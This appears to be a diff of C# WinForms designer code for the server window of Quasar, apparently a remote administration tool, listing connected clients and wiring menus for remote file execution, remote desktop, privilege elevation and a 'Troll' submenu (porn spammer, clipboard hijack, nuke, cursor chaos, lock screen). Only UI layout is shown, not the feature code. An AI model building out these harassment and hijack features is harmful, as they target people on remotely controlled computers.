this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.beepSpamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startBeepSpamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopBeepSpamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pianoToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fartScrollToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startFartScrollToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopFartScrollToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.drunkModeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startDrunkModeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopDrunkModeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.nukeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startNukeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopNukeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.userSupportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.showMessageboxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.pornSpammerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startPornSpamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopPornSpamToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.cursorChaosToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startCursorChaosToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopCursorChaosToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.clipboardHijackToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startClipboardHijackToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopClipboardHijackToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.jumpscareToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ghostTypingToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.textToSpeechToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.eyesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startEyesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopEyesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.schizophreniaToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startSchizophreniaToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopSchizophreniaToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.colorInvertToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startColorInvertToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.stopColorInvertToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lockScreenToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.cdTrayToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.mouseSwapToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.restoreMouseToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.setWallpaperToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.selectAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.imgFlags = new System.Windows.Forms.ImageList(this.components); + this.notifyIcon = new System.Windows.Forms.NotifyIcon(this.components); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.lstClients = new Quasar.Server.Controls.AeroListView(); + this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hVersion = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hUserStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hCountry = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hOS = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hAccountType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.menuStrip = new System.Windows.Forms.MenuStrip(); + this.fIleToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.closeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.builderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.contextMenuStrip.SuspendLayout(); + this.tableLayoutPanel.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.menuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.remoteExecuteToolStripMenuItem, + this.remoteDesktopToolStripMenuItem2, + this.userSupportToolStripMenuItem, + this.connectionToolStripMenuItem, + this.lineToolStripMenuItem, + this.selectAllToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(181, 142); + // + // systemToolStripMenuItem + // + // + // remoteExecuteToolStripMenuItem + // + this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.localFileToolStripMenuItem, + this.webFileToolStripMenuItem}); + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; + // + // localFileToolStripMenuItem + // + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.localFileToolStripMenuItem.Text = "Local File..."; + this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); + // + // webFileToolStripMenuItem + // + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.webFileToolStripMenuItem.Text = "Web File..."; + this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); + // + // remoteDesktopToolStripMenuItem2 + // + this.remoteDesktopToolStripMenuItem2.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem2.Image"))); + this.remoteDesktopToolStripMenuItem2.Name = "remoteDesktopToolStripMenuItem2"; + this.remoteDesktopToolStripMenuItem2.Size = new System.Drawing.Size(180, 22); + this.remoteDesktopToolStripMenuItem2.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem2.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + // + // userSupportToolStripMenuItem + // + this.userSupportToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.beepSpamToolStripMenuItem, + this.pianoToolStripMenuItem, + this.fartScrollToolStripMenuItem, + this.drunkModeToolStripMenuItem, + this.nukeToolStripMenuItem, + this.showMessageboxToolStripMenuItem, + this.visitWebsiteToolStripMenuItem, + this.pornSpammerToolStripMenuItem, + this.cursorChaosToolStripMenuItem, + this.clipboardHijackToolStripMenuItem, + this.jumpscareToolStripMenuItem, + this.ghostTypingToolStripMenuItem, + this.textToSpeechToolStripMenuItem, + this.eyesToolStripMenuItem, + this.schizophreniaToolStripMenuItem, + this.colorInvertToolStripMenuItem, + this.lockScreenToolStripMenuItem, + this.cdTrayToolStripMenuItem, + this.mouseSwapToolStripMenuItem, + this.restoreMouseToolStripMenuItem, + this.setWallpaperToolStripMenuItem}); + this.userSupportToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; + this.userSupportToolStripMenuItem.Name = "userSupportToolStripMenuItem"; + this.userSupportToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.userSupportToolStripMenuItem.Text = "Troll"; + // + // beepSpamToolStripMenuItem + // + this.beepSpamToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startBeepSpamToolStripMenuItem, + this.stopBeepSpamToolStripMenuItem}); + this.beepSpamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.sound; + this.beepSpamToolStripMenuItem.Name = "beepSpamToolStripMenuItem"; + this.beepSpamToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.beepSpamToolStripMenuItem.Text = "Beep Spam"; + // + // startBeepSpamToolStripMenuItem + // + this.startBeepSpamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.sound; + this.startBeepSpamToolStripMenuItem.Name = "startBeepSpamToolStripMenuItem"; + this.startBeepSpamToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startBeepSpamToolStripMenuItem.Text = "Start"; + this.startBeepSpamToolStripMenuItem.Click += new System.EventHandler(this.startBeepSpamToolStripMenuItem_Click); + // + // stopBeepSpamToolStripMenuItem + // + this.stopBeepSpamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopBeepSpamToolStripMenuItem.Name = "stopBeepSpamToolStripMenuItem"; + this.stopBeepSpamToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopBeepSpamToolStripMenuItem.Text = "Stop"; + this.stopBeepSpamToolStripMenuItem.Click += new System.EventHandler(this.stopBeepSpamToolStripMenuItem_Click); + // + // pianoToolStripMenuItem + // + this.pianoToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.music; + this.pianoToolStripMenuItem.Name = "pianoToolStripMenuItem"; + this.pianoToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.pianoToolStripMenuItem.Text = "Piano"; + this.pianoToolStripMenuItem.Click += new System.EventHandler(this.pianoToolStripMenuItem_Click); + // + // fartScrollToolStripMenuItem + // + this.fartScrollToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startFartScrollToolStripMenuItem, + this.stopFartScrollToolStripMenuItem}); + this.fartScrollToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.note; + this.fartScrollToolStripMenuItem.Name = "fartScrollToolStripMenuItem"; + this.fartScrollToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.fartScrollToolStripMenuItem.Text = "Fart Scroll"; + // + // startFartScrollToolStripMenuItem + // + this.startFartScrollToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.note; + this.startFartScrollToolStripMenuItem.Name = "startFartScrollToolStripMenuItem"; + this.startFartScrollToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startFartScrollToolStripMenuItem.Text = "Start"; + this.startFartScrollToolStripMenuItem.Click += new System.EventHandler(this.startFartScrollToolStripMenuItem_Click); + // + // stopFartScrollToolStripMenuItem + // + this.stopFartScrollToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopFartScrollToolStripMenuItem.Name = "stopFartScrollToolStripMenuItem"; + this.stopFartScrollToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopFartScrollToolStripMenuItem.Text = "Stop"; + this.stopFartScrollToolStripMenuItem.Click += new System.EventHandler(this.stopFartScrollToolStripMenuItem_Click); + // + // drunkModeToolStripMenuItem + // + this.drunkModeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startDrunkModeToolStripMenuItem, + this.stopDrunkModeToolStripMenuItem}); + this.drunkModeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drink; + this.drunkModeToolStripMenuItem.Name = "drunkModeToolStripMenuItem"; + this.drunkModeToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.drunkModeToolStripMenuItem.Text = "Drunk Mode"; + // + // startDrunkModeToolStripMenuItem + // + this.startDrunkModeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drink; + this.startDrunkModeToolStripMenuItem.Name = "startDrunkModeToolStripMenuItem"; + this.startDrunkModeToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startDrunkModeToolStripMenuItem.Text = "Start"; + this.startDrunkModeToolStripMenuItem.Click += new System.EventHandler(this.startDrunkModeToolStripMenuItem_Click); + // + // stopDrunkModeToolStripMenuItem + // + this.stopDrunkModeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopDrunkModeToolStripMenuItem.Name = "stopDrunkModeToolStripMenuItem"; + this.stopDrunkModeToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopDrunkModeToolStripMenuItem.Text = "Stop"; + this.stopDrunkModeToolStripMenuItem.Click += new System.EventHandler(this.stopDrunkModeToolStripMenuItem_Click); + // + // nukeToolStripMenuItem + // + this.nukeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startNukeToolStripMenuItem, + this.stopNukeToolStripMenuItem}); + this.nukeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bricks; + this.nukeToolStripMenuItem.Name = "nukeToolStripMenuItem"; + this.nukeToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.nukeToolStripMenuItem.Text = "Nuke"; + // + // startNukeToolStripMenuItem + // + this.startNukeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bricks; + this.startNukeToolStripMenuItem.Name = "startNukeToolStripMenuItem"; + this.startNukeToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startNukeToolStripMenuItem.Text = "Start"; + this.startNukeToolStripMenuItem.Click += new System.EventHandler(this.startNukeToolStripMenuItem_Click); + // + // stopNukeToolStripMenuItem + // + this.stopNukeToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopNukeToolStripMenuItem.Name = "stopNukeToolStripMenuItem"; + this.stopNukeToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopNukeToolStripMenuItem.Text = "Stop"; + this.stopNukeToolStripMenuItem.Click += new System.EventHandler(this.stopNukeToolStripMenuItem_Click); + // + // showMessageboxToolStripMenuItem + // + this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); + this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; + this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); + // + // visitWebsiteToolStripMenuItem + // + this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); + this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; + this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.visitWebsiteToolStripMenuItem.Text = "Send to Website"; + this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); + // + // pornSpammerToolStripMenuItem + // + this.pornSpammerToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startPornSpamToolStripMenuItem, + this.stopPornSpamToolStripMenuItem}); + this.pornSpammerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.film; + this.pornSpammerToolStripMenuItem.Name = "pornSpammerToolStripMenuItem"; + this.pornSpammerToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.pornSpammerToolStripMenuItem.Text = "Porn Spammer"; + // + // startPornSpamToolStripMenuItem + // + this.startPornSpamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.film; + this.startPornSpamToolStripMenuItem.Name = "startPornSpamToolStripMenuItem"; + this.startPornSpamToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startPornSpamToolStripMenuItem.Text = "Start"; + this.startPornSpamToolStripMenuItem.Click += new System.EventHandler(this.startPornSpamToolStripMenuItem_Click); + // + // stopPornSpamToolStripMenuItem + // + this.stopPornSpamToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopPornSpamToolStripMenuItem.Name = "stopPornSpamToolStripMenuItem"; + this.stopPornSpamToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopPornSpamToolStripMenuItem.Text = "Stop"; + this.stopPornSpamToolStripMenuItem.Click += new System.EventHandler(this.stopPornSpamToolStripMenuItem_Click); + // + // cursorChaosToolStripMenuItem + // + this.cursorChaosToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startCursorChaosToolStripMenuItem, + this.stopCursorChaosToolStripMenuItem}); + this.cursorChaosToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cursor; + this.cursorChaosToolStripMenuItem.Name = "cursorChaosToolStripMenuItem"; + this.cursorChaosToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.cursorChaosToolStripMenuItem.Text = "Cursor Chaos"; + // + // startCursorChaosToolStripMenuItem + // + this.startCursorChaosToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cursor; + this.startCursorChaosToolStripMenuItem.Name = "startCursorChaosToolStripMenuItem"; + this.startCursorChaosToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startCursorChaosToolStripMenuItem.Text = "Start"; + this.startCursorChaosToolStripMenuItem.Click += new System.EventHandler(this.startCursorChaosToolStripMenuItem_Click); + // + // stopCursorChaosToolStripMenuItem + // + this.stopCursorChaosToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopCursorChaosToolStripMenuItem.Name = "stopCursorChaosToolStripMenuItem"; + this.stopCursorChaosToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopCursorChaosToolStripMenuItem.Text = "Stop"; + this.stopCursorChaosToolStripMenuItem.Click += new System.EventHandler(this.stopCursorChaosToolStripMenuItem_Click); + // + // clipboardHijackToolStripMenuItem + // + this.clipboardHijackToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startClipboardHijackToolStripMenuItem, + this.stopClipboardHijackToolStripMenuItem}); + this.clipboardHijackToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.clipboardHijackToolStripMenuItem.Name = "clipboardHijackToolStripMenuItem"; + this.clipboardHijackToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.clipboardHijackToolStripMenuItem.Text = "Clipboard Hijack"; + // + // startClipboardHijackToolStripMenuItem + // + this.startClipboardHijackToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.page_copy; + this.startClipboardHijackToolStripMenuItem.Name = "startClipboardHijackToolStripMenuItem"; + this.startClipboardHijackToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startClipboardHijackToolStripMenuItem.Text = "Start"; + this.startClipboardHijackToolStripMenuItem.Click += new System.EventHandler(this.startClipboardHijackToolStripMenuItem_Click); + // + // stopClipboardHijackToolStripMenuItem + // + this.stopClipboardHijackToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopClipboardHijackToolStripMenuItem.Name = "stopClipboardHijackToolStripMenuItem"; + this.stopClipboardHijackToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopClipboardHijackToolStripMenuItem.Text = "Stop"; + this.stopClipboardHijackToolStripMenuItem.Click += new System.EventHandler(this.stopClipboardHijackToolStripMenuItem_Click); + // + // jumpscareToolStripMenuItem + // + this.jumpscareToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.bomb; + this.jumpscareToolStripMenuItem.Name = "jumpscareToolStripMenuItem"; + this.jumpscareToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.jumpscareToolStripMenuItem.Text = "Jumpscare"; + this.jumpscareToolStripMenuItem.Click += new System.EventHandler(this.jumpscareToolStripMenuItem_Click); + // + // ghostTypingToolStripMenuItem + // + this.ghostTypingToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.textfield_rename; + this.ghostTypingToolStripMenuItem.Name = "ghostTypingToolStripMenuItem"; + this.ghostTypingToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.ghostTypingToolStripMenuItem.Text = "Ghost Typing"; + this.ghostTypingToolStripMenuItem.Click += new System.EventHandler(this.ghostTypingToolStripMenuItem_Click); + // + // textToSpeechToolStripMenuItem + // + this.textToSpeechToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.sound; + this.textToSpeechToolStripMenuItem.Name = "textToSpeechToolStripMenuItem"; + this.textToSpeechToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.textToSpeechToolStripMenuItem.Text = "Text to Speech"; + this.textToSpeechToolStripMenuItem.Click += new System.EventHandler(this.textToSpeechToolStripMenuItem_Click); + // + // eyesToolStripMenuItem + // + this.eyesToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startEyesToolStripMenuItem, + this.stopEyesToolStripMenuItem}); + this.eyesToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.eye; + this.eyesToolStripMenuItem.Name = "eyesToolStripMenuItem"; + this.eyesToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.eyesToolStripMenuItem.Text = "Eyes"; + // + // startEyesToolStripMenuItem + // + this.startEyesToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.eye; + this.startEyesToolStripMenuItem.Name = "startEyesToolStripMenuItem"; + this.startEyesToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startEyesToolStripMenuItem.Text = "Start"; + this.startEyesToolStripMenuItem.Click += new System.EventHandler(this.startEyesToolStripMenuItem_Click); + // + // stopEyesToolStripMenuItem + // + this.stopEyesToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopEyesToolStripMenuItem.Name = "stopEyesToolStripMenuItem"; + this.stopEyesToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopEyesToolStripMenuItem.Text = "Stop"; + this.stopEyesToolStripMenuItem.Click += new System.EventHandler(this.stopEyesToolStripMenuItem_Click); + // + // schizophreniaToolStripMenuItem + // + this.schizophreniaToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startSchizophreniaToolStripMenuItem, + this.stopSchizophreniaToolStripMenuItem}); + this.schizophreniaToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.emoticon_evilgrin; + this.schizophreniaToolStripMenuItem.Name = "schizophreniaToolStripMenuItem"; + this.schizophreniaToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.schizophreniaToolStripMenuItem.Text = "Schizophrenia"; + // + // startSchizophreniaToolStripMenuItem + // + this.startSchizophreniaToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.emoticon_evilgrin; + this.startSchizophreniaToolStripMenuItem.Name = "startSchizophreniaToolStripMenuItem"; + this.startSchizophreniaToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startSchizophreniaToolStripMenuItem.Text = "Start"; + this.startSchizophreniaToolStripMenuItem.Click += new System.EventHandler(this.startSchizophreniaToolStripMenuItem_Click); + // + // stopSchizophreniaToolStripMenuItem + // + this.stopSchizophreniaToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopSchizophreniaToolStripMenuItem.Name = "stopSchizophreniaToolStripMenuItem"; + this.stopSchizophreniaToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopSchizophreniaToolStripMenuItem.Text = "Stop"; + this.stopSchizophreniaToolStripMenuItem.Click += new System.EventHandler(this.stopSchizophreniaToolStripMenuItem_Click); + // + // colorInvertToolStripMenuItem + // + this.colorInvertToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.startColorInvertToolStripMenuItem, + this.stopColorInvertToolStripMenuItem}); + this.colorInvertToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.color_swatch; + this.colorInvertToolStripMenuItem.Name = "colorInvertToolStripMenuItem"; + this.colorInvertToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.colorInvertToolStripMenuItem.Text = "Color Invert"; + // + // startColorInvertToolStripMenuItem + // + this.startColorInvertToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.color_swatch; + this.startColorInvertToolStripMenuItem.Name = "startColorInvertToolStripMenuItem"; + this.startColorInvertToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.startColorInvertToolStripMenuItem.Text = "Start"; + this.startColorInvertToolStripMenuItem.Click += new System.EventHandler(this.startColorInvertToolStripMenuItem_Click); + // + // stopColorInvertToolStripMenuItem + // + this.stopColorInvertToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.stopColorInvertToolStripMenuItem.Name = "stopColorInvertToolStripMenuItem"; + this.stopColorInvertToolStripMenuItem.Size = new System.Drawing.Size(110, 22); + this.stopColorInvertToolStripMenuItem.Text = "Stop"; + this.stopColorInvertToolStripMenuItem.Click += new System.EventHandler(this.stopColorInvertToolStripMenuItem_Click); + // + // lockScreenToolStripMenuItem + // + this.lockScreenToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.padlock; + this.lockScreenToolStripMenuItem.Name = "lockScreenToolStripMenuItem"; + this.lockScreenToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.lockScreenToolStripMenuItem.Text = "Lock Screen"; + this.lockScreenToolStripMenuItem.Click += new System.EventHandler(this.lockScreenToolStripMenuItem_Click); + // + // cdTrayToolStripMenuItem + // + this.cdTrayToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cd; + this.cdTrayToolStripMenuItem.Name = "cdTrayToolStripMenuItem"; + this.cdTrayToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.cdTrayToolStripMenuItem.Text = "CD Tray Spam"; + this.cdTrayToolStripMenuItem.Click += new System.EventHandler(this.cdTrayToolStripMenuItem_Click); + // + // mouseSwapToolStripMenuItem + // + this.mouseSwapToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.mouse_add; + this.mouseSwapToolStripMenuItem.Name = "mouseSwapToolStripMenuItem"; + this.mouseSwapToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.mouseSwapToolStripMenuItem.Text = "Swap Mouse Buttons"; + this.mouseSwapToolStripMenuItem.Click += new System.EventHandler(this.mouseSwapToolStripMenuItem_Click); + // + // restoreMouseToolStripMenuItem + // + this.restoreMouseToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.mouse_delete; + this.restoreMouseToolStripMenuItem.Name = "restoreMouseToolStripMenuItem"; + this.restoreMouseToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.restoreMouseToolStripMenuItem.Text = "Restore Mouse Buttons"; + this.restoreMouseToolStripMenuItem.Click += new System.EventHandler(this.restoreMouseToolStripMenuItem_Click); + // + // setWallpaperToolStripMenuItem + // + this.setWallpaperToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.picture; + this.setWallpaperToolStripMenuItem.Name = "setWallpaperToolStripMenuItem"; + this.setWallpaperToolStripMenuItem.Size = new System.Drawing.Size(200, 22); + this.setWallpaperToolStripMenuItem.Text = "Set Wallpaper..."; + this.setWallpaperToolStripMenuItem.Click += new System.EventHandler(this.setWallpaperToolStripMenuItem_Click); + // + // connectionToolStripMenuItem + // + this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.elevateClientPermissionsToolStripMenuItem, + this.updateToolStripMenuItem, + this.reconnectToolStripMenuItem, + this.disconnectToolStripMenuItem, + this.uninstallToolStripMenuItem}); + this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); + this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.connectionToolStripMenuItem.Text = "Client Management"; 